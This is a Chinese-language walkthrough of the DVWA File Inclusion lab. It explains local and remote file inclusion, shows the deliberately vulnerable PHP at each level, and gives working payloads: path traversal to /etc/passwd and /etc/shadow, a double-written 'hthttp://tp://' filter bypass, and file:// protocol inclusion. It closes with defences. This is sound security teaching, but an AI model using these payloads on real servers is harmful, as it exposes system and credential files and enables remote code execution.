DVWA 之 File Inclusion-文件包含
四、File Inclusion-文件包含
原理
文件包含:开发人员将相同的函数写入单独的文件中,需要使用某个函数时直接调用此文件,无需再次编写,这种文件调用的过程称文件包含。
文件包含漏洞:开发人员为了使代码更灵活,会将被包含的文件设置为变量,用来进行动态调用,从而导致客户端可以恶意调用一个恶意文件,造成文件包含漏洞。如果没有对文件来源进行严格审查,就会导致任意文件读取或者任意命令执行,文件包含漏洞分为本地文件包含漏洞与远程文件包含漏洞,远程文件包含漏洞是因为开启了 php 配置中的 allow_url_fopen
选项(选项开启后,服务器允许包含一个远程的文件)。
文件包含用到的函数
require
:找不到被包含的文件,报错,并且停止运行脚本
include
:找不到被包含的文件,报错,但会继续运行脚本
require_once
:与require
类似,区别在于当重复调用同一文件时,程序只调用一次
include_once
:与include
类似,区别在于当重复调用同一文件时,程序只调用一次
文件包含特征
?page=a.php
?home=b.html
?file=content
检测方法
?file=../../../../etc/passwd
?page=file:///etc/passwd
?home=main.cgi
?page=http://www.a.com/1.php
http://1.1.1.1/../../../../dir/file.txt
1. Low
在 URL 界面中输入 ?page=/ect/shadow
,结果如下
可以看到其暴露出了服务器文件的绝对路径,根据绝对路径构造WWW/DVWA-master/phpinfo.php
,可以读取服务器的配置文件
同理,通过构造绝对或者相对URL路径可以读取任意文件内容。
查看源代码,发现其对包含的文件没有进行任何的过滤。
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
?>
2. Medium
查看源代码
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\\" ), "", $file );
?>
可以看到,代码使用 str_replace
函数对 http://
和 https://
进行了过滤,防止了远程包含漏洞的产生,也过滤了 ../
和 ..\
,防止了进行目录切换的包含。
漏洞利用
可以通过双写绕过 str_replace
函数的替换规则。
例如page=hthttp://tp://127.0.0.1/phpinfo.txt
,str_replace
函数会将http://
删除,于是页面网址变成page=http://127.0.0.1/phpinfo.txt
,可以成功执行远程命令。
同时,因为替换的只是../
、..\
,所以采用绝对路径的方式包含文件是不会受到任何限制的。
构造绝对路径page=D:\省略\省略\WWW\DVWA-master\phpinfo.php
,执行成功。
3. High
构造绝对路径访问,显示ERROR: File not found!
查看源代码
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Input validation
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
}
?>
fnmatch()
函数根据指定的模式来匹配文件名或字符串,可以看到,High级别的代码对包含的文件名进行了限制,必须为file*或者include.php,否则会提示Error。
漏洞利用
利用file协议绕过防护策略,通过浏览器打开一个本地文件,用到的就是file协议。
构造url
http://127.0.0.1/DVWA-master/vulnerabilities/fi/?page=file:///D:\WebSecurity\phpstudy_pro\WWW\DVWA-master\phpinfo.php
成功包含phpinfo.php
文件
若要执行任意命令,需要配合文件上传漏洞利用。首先上传一个内容为php的文件,然后再利用file协议去包含上传文件,从而实现任意命令执行。
防护方法
- 文件包含参数写死
- 文件包含参数不可由用户修改
- 禁止目录跳转字符"../"
- 使用文件验证白名单